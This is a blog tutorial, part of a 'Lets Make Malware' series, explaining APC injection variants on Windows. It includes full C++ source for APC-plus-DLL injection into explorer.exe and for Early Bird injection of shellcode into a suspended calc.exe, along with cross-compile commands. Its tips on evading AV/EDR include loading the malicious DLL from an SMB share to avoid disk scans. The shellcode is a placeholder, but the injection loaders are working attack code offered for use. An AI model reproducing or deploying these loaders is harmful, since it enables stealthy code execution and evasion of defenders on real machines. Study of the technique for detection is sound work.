Reprogrammed

Lets Make Malware – APC Injection Variations

Code

Preamble

This week, we will continue with APC Injection. Last time we covered classic APC injection, which allowed us to run arbitrary code on a remote thread in a more stealthy manner than some of our previous examples.

This time, we will look at variations of this technique.

The first variation will be combining this technique with DLL injection. One of the issues with last week’s example is that because we utilized the “spray and pray” method our payload could potentially execute tens of times. While this could be good for persistence (if one shell dies, we have another), we do not necessarily want 30 callbacks. One or two anomalies in a process may be overlooked by an analyst or AV/EDR solution. 30, on the other hand, screams “look at me”.

This is where combining classic APC injection with DLL injection comes in. DLLs can only be loaded by a process once.

As we are simply combining techniques we have already covered before, there are no new Windows API calls to discuss. This also means we will not be going over these Windows API functions again.

As always with any variation of DLL injection, we need a DLL in the first place. We can reuse the code from the Classic DLL Injection post or we can create one using a C2 like Cobalt Strike or MSFVenom.

Changes

The first change we need to make is changing our variable that holds our shellcode. This variable can now point to the path of our malicious DLL. So, we go from this unsigned char buf[] = "Never trust random blobs of shellcode you find on the Internet"; to this char myDLLPath[] = "C:\\Windows\\Temp\\myEvilDLL.dll";

As always, we can utilize UNC paths here to load the DLL remotely from a SMB share to avoid dropping our malicious DLL to disk where it can be scanned.

The second change we make is to the QueueUserAPC function call. We will go from this QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); to this QueueUserAPC((PAPCFUNC) GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"), threadHandle, (ULONG_PTR)shellAddress);

We can also make a call to VirtualFreeEx at the end to release the memory we allocated in the remote process (and we should do this because we are both good citizens and memory-conscious programmers), but this is not completely necessary.

All Together

Note: Once again we wish to call out that this template, prior to the changes we have made, comes from here. Full credit to ired.team.

Putting everything together we should have something akin to this:

#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>

int main()
{
	char myDLLPath[] = "C:\\Windows\\Temp\\myEvilDLL.dll";

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
	HANDLE victimProcess = NULL;
	PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
	THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
	std::vector<DWORD> threadIds;
	SIZE_T shellSize = sizeof(myDLLPath);
	HANDLE threadHandle = NULL;

	if (Process32First(snapshot, &processEntry)) {
		while (_stricmp(processEntry.szExeFile, "explorer.exe") != 0) {
			Process32Next(snapshot, &processEntry);
		}
	}
	
	victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
	LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(victimProcess, shellAddress, myDLLPath, shellSize, NULL);

	if (Thread32First(snapshot, &threadEntry)) {
		do {
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
				threadIds.push_back(threadEntry.th32ThreadID);
			}
		} while (Thread32Next(snapshot, &threadEntry));
	}
	
	for (DWORD threadId : threadIds) {
		threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
		QueueUserAPC((PAPCFUNC) GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"), threadHandle, (ULONG_PTR)shellAddress);
		Sleep(1000 * 2);
	}
	VirtualFreeEx(victimProcess, shellAddress, 0, MEM_RELEASE | MEM_DECOMMIT);
	return 0;
}

If we are cross compiling this with MinGW, our compile command will look a bit different, as we may need to statically link some libraries if our target does not already have them installed.

x86_64-w64-mingw32-g++ -static-libgcc -static-libstdc++ -Wl,-Bstatic -lstdc++ -o <output>.exe APCDLLInjection.cpp

Our compile command for our custom DLL should look the same however: x86_64-w64-mingw32-gcc -shared -o myEvilDLL.dll basicDInjDLL.cpp

Early Bird APC Injection

The next variation we will discuss is called Early Bird APC Injection. This one allows us to get around the fact that we do not control when our shellcode or malicious DLL is run in the remote thread. We will begin by creating a new process in a suspended state.

After our new process is created, we will write our shellcode to a newly allocated memory buffer and queue an APC pointing to the shellcode to the main thread of this process.

Once we resume the thread, our APC is executed!

CreateProcess

The only new API call we use here is CreateProcess. It does exactly what it sounds like and is defined like so:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

The first parameter, lpApplicationName, is also exactly what it sounds like: the name of the application we want to create a process for.

The second, lpCommandLine, is what we want to include as arguments, if any. This means the same way we could do something like start notepad.exe on the commandline, we can do that here as well.

The third and fourth parameters are essentially security options we could add to the process and thread. We do not need these in this case, so we set them to NULL.

The fifth is if we want handles to be inherited by this new process. We do not, in this case, so we set this to FALSE.

Sixth, we have process creation flags. This is where we specify that we want this process to be started in a suspended state.

The seventh parameter is where we can specify an environment block for the process. We will not discuss what an environment block is here but note that there are interesting ways for malware developers to use this.

Eighth we have lpCurrentDirectory. This is the absolute path to the current directory. This can be a UNC path as well. We do not have a use for this, so we set it to NULL so it uses the same directory as the calling process.

The ninth parameter is lpStartupInfo. This one is a pointer to a STARTUPINFO/STARTUPINFOEX structure. Simply put, this is information about things like the appearance of the main window this application will use.

Finally, we have a parameter for process information. This is where the function will store information about the created process such as its PID.

All Together Now

Putting everything together, our codebase for early bird APC injection looks like this:

#include <windows.h>

int main()
{
	unsigned char shellcode[] = "don’t trust random blobs of shellcode you find on the internet";
	SIZE_T shellcodeSize = sizeof(shellcode);
	STARTUPINFOA si = {0};
	PROCESS_INFORMATION pi = {0};

	CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	HANDLE hProc = pi.hProcess;
	HANDLE hThread = pi.hThread;
	
	LPVOID buffer = VirtualAllocEx(hProc, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE apcFunc = (PTHREAD_START_ROUTINE)buffer;
	
	WriteProcessMemory(hProc, buffer, shellcode, shellcodeSize, NULL);
	QueueUserAPC((PAPCFUNC)apcFunc, hThread, NULL);	
	ResumeThread(hThread);

	return 0;
}

QueueUserAPC2

Finally, we want to mention that there is a way to immediately execute an APC, even with classic APC Injection. This is by using the QueueUserAPC2 function. This one adds one extra parameter at the end: Flags.

As defined by MSDN: “A value from QUEUE_USER_APC_FLAGS enumeration that modifies the behavior of the user-mode APC.

This allows us to specify the type of APC to be a special user-mode APC which will always execute. Special care must be taken when using this function, because again as MSDN puts it:

Special user-mode APCs always execute, even if the target thread is not in an alertable state. For example, if the target thread is currently executing user-mode code, or if the target thread is currently performing an alertable wait, the target thread will be interrupted immediately for APC execution. If the target thread is executing a system call, or performing a non-alertable wait, the APC will be executed after the system call or non-alertable wait finishes (the wait is not interrupted).

Since the execution of the special user-mode APC is not synchronized with the target thread, particular care must be taken (beyond the normal requirements for multithreading and synchronization). For example, when acquiring any locks, the interrupted target thread may already own the lock or be in the process of acquiring or releasing the lock. In addition, because there are no facilities to block a thread from receiving special user-mode APCs, a special user-mode APC can be executed on a target thread that is already executing a special user-mode APC.

This means that it is very possible to crash a thread and potentially the process itself.

Resources

MSDN: QueueUserAPC2

MSDN: CreateProcess